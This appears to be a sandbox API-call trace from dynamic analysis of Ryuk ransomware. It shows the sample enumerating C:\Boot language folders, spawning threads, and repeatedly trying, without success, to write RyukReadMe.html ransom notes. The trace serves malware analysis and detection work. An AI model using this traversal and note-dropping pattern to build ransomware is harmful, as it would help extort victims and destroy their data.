	[0157.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0157.564] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.565] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0157.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0157.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0157.568] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.569] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0157.569] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0157.569] SetLastError (dwErrCode=0x0) 
	[0157.569] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.569] GetLastError () returned 0x5
	[0157.569] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.569] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.570] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.570] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.571] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.571] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.571] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.571] SetLastError (dwErrCode=0x0) 
	[0157.571] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\boot\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.572] GetLastError () returned 0x5
	[0157.572] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.572] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.572] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0157.572] SetLastError (dwErrCode=0x0) 
	[0157.572] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.572] GetLastError () returned 0x5
	[0157.572] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.573] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.573] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.573] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.573] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.573] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.573] SetLastError (dwErrCode=0x0) 
	[0157.574] CreateFileW (lpFileName="C:\\Boot\\da-DK\\RyukReadMe.html" (normalized: "c:\\boot\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.574] GetLastError () returned 0x5
	[0157.574] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.574] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0157.574] SetLastError (dwErrCode=0x0) 
	[0157.574] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.575] GetLastError () returned 0x5
	[0157.575] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.575] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.575] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.576] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.576] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.576] SetLastError (dwErrCode=0x0) 
	[0157.576] CreateFileW (lpFileName="C:\\Boot\\de-DE\\RyukReadMe.html" (normalized: "c:\\boot\\de-de\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.576] GetLastError () returned 0x5
	[0157.577] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.577] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0157.577] SetLastError (dwErrCode=0x0) 
	[0157.577] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.577] GetLastError () returned 0x5
	[0157.577] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.578] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.578] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.578] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.578] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.578] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.578] SetLastError (dwErrCode=0x0) 
	[0157.578] CreateFileW (lpFileName="C:\\Boot\\el-GR\\RyukReadMe.html" (normalized: "c:\\boot\\el-gr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.579] GetLastError () returned 0x5
	[0157.579] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.579] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.579] SetLastError (dwErrCode=0x0) 
	[0157.579] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.579] GetLastError () returned 0x5
	[0157.579] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.580] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.580] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.580] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.580] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.580] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0157.580] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0157.580] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.581] SetLastError (dwErrCode=0x0) 
	[0157.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\RyukReadMe.html" (normalized: "c:\\boot\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.581] GetLastError () returned 0x5
	[0157.581] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.581] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0157.581] SetLastError (dwErrCode=0x0) 
	[0157.582] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.582] GetLastError () returned 0x5
	[0157.582] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.582] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.582] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
